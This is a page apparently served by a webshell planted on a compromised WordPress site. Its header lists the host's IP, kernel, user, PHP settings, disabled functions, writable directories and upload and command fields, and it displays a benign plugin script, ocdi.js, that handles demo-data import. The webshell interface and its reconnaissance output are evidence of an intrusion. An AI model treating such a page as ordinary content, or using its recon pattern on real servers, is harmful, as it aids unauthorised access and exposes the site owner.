403Webshell
Server IP : 104.26.3.156  /  Your IP : 216.73.216.185
Web Server : nginx/1.27.1
System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User : vinodai ( 3134)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v1396/wwwindicidolscom/public_html/wp-content/plugins/trx_addons/components/ocdi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v1396/wwwindicidolscom/public_html/wp-content/plugins/trx_addons/components/ocdi/ocdi.js
jQuery(document).ready(function() {
    'use strict';

    // Change import type	
	jQuery( '.js-ocdi-import-data' ).clone().appendTo('.ocdi__button-container').addClass('js-ocdi-import-data-not-inited').removeClass('js-ocdi-import-data');
	jQuery( '.js-ocdi-import-data' ).hide();
	
	jQuery( '.js-ocdi-import-data-not-inited' ).live( 'click', function() { 
		var ocdi_button = jQuery(this);		
        var demo_type = jQuery('.ocdi_demo_type select.demo_type').val();
		var import_elements = 'none';
        var import_type = '';
		
		jQuery(ocdi_button).addClass('disable');
		
        jQuery('.ocdi_import_components input[name="import_type"]').each(function() {
            var value = jQuery(this).attr('value');
            if (jQuery(this).is(":checked"))
                import_type = value;
        });
		
		jQuery('.ocdi_import_components input[type="checkbox"]').each(function() {
			var name = jQuery(this).attr('name');
			if (jQuery(this).is(":checked"))
				import_elements += '|' + name;
		});
		
		jQuery.post(TRX_ADDONS_STORAGE['ajax_url'], {
			action: 'trx_addons_ocdi_demo_settings_change',
			nonce: TRX_ADDONS_STORAGE['ajax_nonce'],
			trx_addons_ocdi_demo_type: demo_type,
			trx_addons_ocdi_import_type: import_type,
			trx_addons_ocdi_import_elements: import_elements
		}).done(function(response) {
			var rez = {};
			try {
				rez = JSON.parse(response);
			} catch (e) {
				rez = { error: TRX_ADDONS_STORAGE['ajax_error']+':<br>'+response };
				console.log(response);
			}
			if (rez.error === '') {
				jQuery(ocdi_button).removeClass('disable').remove();
				jQuery( '.js-ocdi-import-data' ).show().click();
			}
			else {
				console.log(rez.error);
			}
		});
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit